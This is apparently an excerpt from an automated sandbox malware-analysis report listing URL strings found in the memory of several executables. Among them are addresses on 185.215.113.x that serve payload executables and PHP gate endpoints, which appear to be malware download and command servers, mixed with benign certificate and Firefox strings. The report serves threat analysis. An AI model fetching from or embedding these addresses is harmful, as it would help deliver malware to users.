Source: file.exe, 00000000.00000003.1877252122.00000000015CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/c
Source: file.exe, 00000000.00000003.1877252122.00000000015CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/d
Source: skotes.exe, 00000008.00000002.2984921705.000000000113F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: skotes.exe, 00000008.00000002.2984921705.000000000113F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe5p
Source: skotes.exe, 00000008.00000002.2984921705.000000000113F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe61395ed
Source: file.exe, 00000000.00000003.1877252122.00000000015CE000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000002.2982202983.0000000000CB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000003.1877288761.00000000015CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exel
Source: file.exe, 00000000.00000003.1877252122.00000000015CE000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2790263600.0000000000C9D000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000002.2981047293.00000000008FA000.00000004.00000010.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000002.2983817330.0000000000D3F000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000002.2982202983.0000000000CB8000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000002.2982202983.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: 3e1d30d118.exe, 0000000C.00000002.2982202983.0000000000CB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exee
Source: file.exe, 00000000.00000003.1877252122.00000000015CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeeo
Source: skotes.exe, 00000008.00000002.2984921705.000000000116C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 00000008.00000002.2984921705.000000000116C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe:
Source: skotes.exe, 00000008.00000002.2984921705.000000000116C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exew
Source: skotes.exe, 00000008.00000002.2984921705.000000000116C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/test/num.exe
Source: skotes.exe, 00000008.00000002.2984921705.000000000116C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe
Source: skotes.exe, 00000008.00000002.2984921705.000000000116C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exej
Source: 3e1d30d118.exe, 0000000C.00000002.2982202983.0000000000CA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/off/def.exe
Source: c077ee22d1.exe, 0000000B.00000002.2718871145.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, c077ee22d1.exe, 0000000B.00000002.2718871145.0000000001708000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: c077ee22d1.exe, 0000000B.00000002.2718871145.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, c077ee22d1.exe, 0000000B.00000002.2718871145.0000000001708000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: c077ee22d1.exe, 0000000B.00000002.2718871145.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, c077ee22d1.exe, 0000000B.00000002.2718871145.00000000016F4000.00000004.00000020.00020000.00000000.sdmp, c077ee22d1.exe, 0000000B.00000002.2718871145.0000000001708000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: c077ee22d1.exe, 0000000B.00000002.2718871145.0000000001708000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php#
Source: c077ee22d1.exe, 0000000B.00000002.2718871145.0000000001708000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/
Source: c077ee22d1.exe, 0000000B.00000002.2718871145.0000000001708000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php?
Source: c077ee22d1.exe, 0000000B.00000002.2718871145.0000000001708000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php_
Source: c077ee22d1.exe, 0000000B.00000002.2718871145.0000000001708000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpg
Source: c077ee22d1.exe, 0000000B.00000002.2718871145.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phps
Source: c077ee22d1.exe, 0000000B.00000002.2718871145.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpw
Source: c077ee22d1.exe, 0000000B.00000002.2718871145.0000000001708000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: skotes.exe, 00000008.00000002.2984921705.000000000116C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/
Source: skotes.exe, 00000008.00000002.2984921705.000000000116C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/15.113.43/a
Source: skotes.exe, 00000008.00000002.2984921705.000000000116C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/6122658-3693405117-2476756634-1002
Source: skotes.exe, 00000008.00000002.2984921705.0000000001193000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000008.00000002.2984921705.0000000001127000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000008.00000002.2984921705.000000000116C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000008.00000002.2984921705.0000000001127000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpE
Source: skotes.exe, 00000008.00000002.2984921705.000000000115A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpUsers
Source: skotes.exe, 00000008.00000002.2984921705.000000000115A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpWindows
Source: skotes.exe, 00000008.00000002.2984921705.0000000001193000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded
Source: skotes.exe, 00000008.00000002.2984921705.0000000001193000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncodedJ
Source: skotes.exe, 00000008.00000002.2984921705.000000000115A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpnu
Source: skotes.exe, 00000008.00000002.2984921705.0000000001193000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpu
Source: skotes.exe, 00000008.00000002.2984921705.000000000116C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/a
Source: skotes.exe, 00000008.00000002.2984921705.0000000001193000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/dX
Source: skotes.exe, 00000008.00000002.2984921705.000000000116C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/fac00b58987e8fcf7b8c730804042ba5ce902415450#%=
Source: file.exe, 00000000.00000003.1747488914.0000000005EAD000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2629563335.00000000058F2000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2829969877.000000000575D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2963511722.000002298045D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.1747488914.0000000005EAD000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2629563335.00000000058F2000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2829969877.000000000575D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2963511722.000002298045D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 0000001B.00000002.2907951633.000002297A97D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%s
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%shttps://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%shttps://poczta.interia.pl/mh/?mailto=%sCan
Source: 3e1d30d118.exe, 0000000A.00000003.2705939782.0000000000C7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: file.exe, 00000000.00000003.1820440695.00000000015CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro0
Source: file.exe, 00000000.00000003.1747488914.0000000005EAD000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2629563335.00000000058F2000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2829969877.000000000575D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2963511722.000002298045D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.1747488914.0000000005EAD000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2629563335.00000000058F2000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2829969877.000000000575D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2963511722.000002298045D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.1747488914.0000000005EAD000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2629563335.00000000058F2000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2829969877.000000000575D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2963511722.000002298045D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.1747488914.0000000005EAD000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2629563335.00000000058F2000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2829969877.000000000575D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2963511722.000002298045D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.1747488914.0000000005EAD000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2629563335.00000000058F2000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2829969877.000000000575D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2963511722.000002298045D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 0000001B.00000002.2965275696.000002298061B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000001B.00000002.2965275696.000002298061B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html_startDetection/urlFetcher.onredirectorerrorworkerAsso
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 0000001B.00000002.2908621079.000002297AC06000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2908621079.000002297AC2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListener
Source: firefox.exe, 0000001B.00000002.2908621079.000002297AC06000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2908621079.000002297AC2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListener
Source: firefox.exe, 0000001B.00000002.2905467211.000002297A38A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/common
Source: firefox.exe, 0000001B.00000002.2905467211.000002297A38A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 0000001B.00000002.2905467211.000002297A38A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/sets
Source: firefox.exe, 0000001B.00000002.2899807746.000002296EB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/stringsp
Source: 3e1d30d118.exe, 0000000C.00000003.2883520034.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2874734726.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2881423508.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2896778343.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2879394897.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2900515858.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2873847206.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2888639331.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2876541093.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2875692021.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2899712973.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2898684448.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2898142263.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2884856458.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2894727073.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2886049051.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2899196082.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000002.2982202983.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2897446385.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2880668031.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2828419524.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://microsoft.co
Source: firefox.exe, 0000001B.00000002.2961962144.0000022980268000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2973760418.0000022981F50000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2969804353.0000022980D9D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2956560946.000002297F5CF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2955510210.000002297F4ED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B952000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2971838030.0000022980F22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2961962144.00000229802DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2961962144.000002298028D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2956560946.000002297F503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2951117216.000002297ECBA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2970883712.0000022980E20000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2906389932.000002297A4E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2960831661.000002298014D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2973760418.0000022981F59000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2961962144.00000229802AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2809595407.000002297ECDB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: file.exe, 00000000.00000003.1747488914.0000000005EAD000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2629563335.00000000058F2000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2829969877.000000000575D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2963511722.000002298045D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.1747488914.0000000005EAD000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2629563335.00000000058F2000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2829969877.000000000575D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2963511722.000002298045D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 0000001B.00000002.2907951633.000002297A97D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sresource://gre/modules/FileUtils.sys.mjs
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001B.00000002.2907951633.000002297A97D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%shandlerSvc
Source: firefox.exe, 0000001B.00000002.2952207436.000002297ED03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2960831661.000002298014D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2970883712.0000022980E66000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul.popup-notification-description
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://browser/content/schemas/chrome
Source: firefox.exe, 0000001B.00000002.2909626556.000002297ADAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://browser/content/search/autocom
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://extensions/content/parent/ext-
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/arrows
Source: firefox.exe, 0000001B.00000002.2909626556.000002297ADAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulhttp://www.mozilla.org/keymaster/gateke
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulmoz-extension://e2beb7c2-ef50-4ddd-9210
Source: firefox.exe, 0000001B.00000002.2909626556.000002297ADAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xuloncommand=closebuttoncommand
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource:///modules/sessionstore/TabSta
Source: firefox.exe, 0000001B.00000002.2909626556.000002297ADAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/BrowserTelemetry
Source: firefox.exe, 0000001B.00000002.2909626556.000002297ADAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/InlineSpellCheck
Source: file.exe, 00000000.00000003.1747488914.0000000005EAD000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2629563335.00000000058F2000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2829969877.000000000575D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2963511722.000002298045D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.1747488914.0000000005EAD000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2629563335.00000000058F2000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2829969877.000000000575D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2963511722.000002298045D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 0000001B.00000002.2950843311.000002297EB70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000003.2788251826.000002297E85D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2788613349.000002297E87B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2787902142.000002297E83E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2787522205.000002297E820000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/MOZ_INSTRUMENT_CUSTOM_ELEMENTS
Source: file.exe, 00000000.00000003.1715294203.0000000005DEB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715347269.0000000005DE9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715425421.0000000005DE9000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600618224.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600448064.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600347557.000000000591B000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774760977.000000000566D000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774335661.000000000567F000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774528447.000000000566D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 0000001B.00000002.2934561208.000002297E52A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CCE5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 0000001B.00000002.2965275696.0000022980609000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
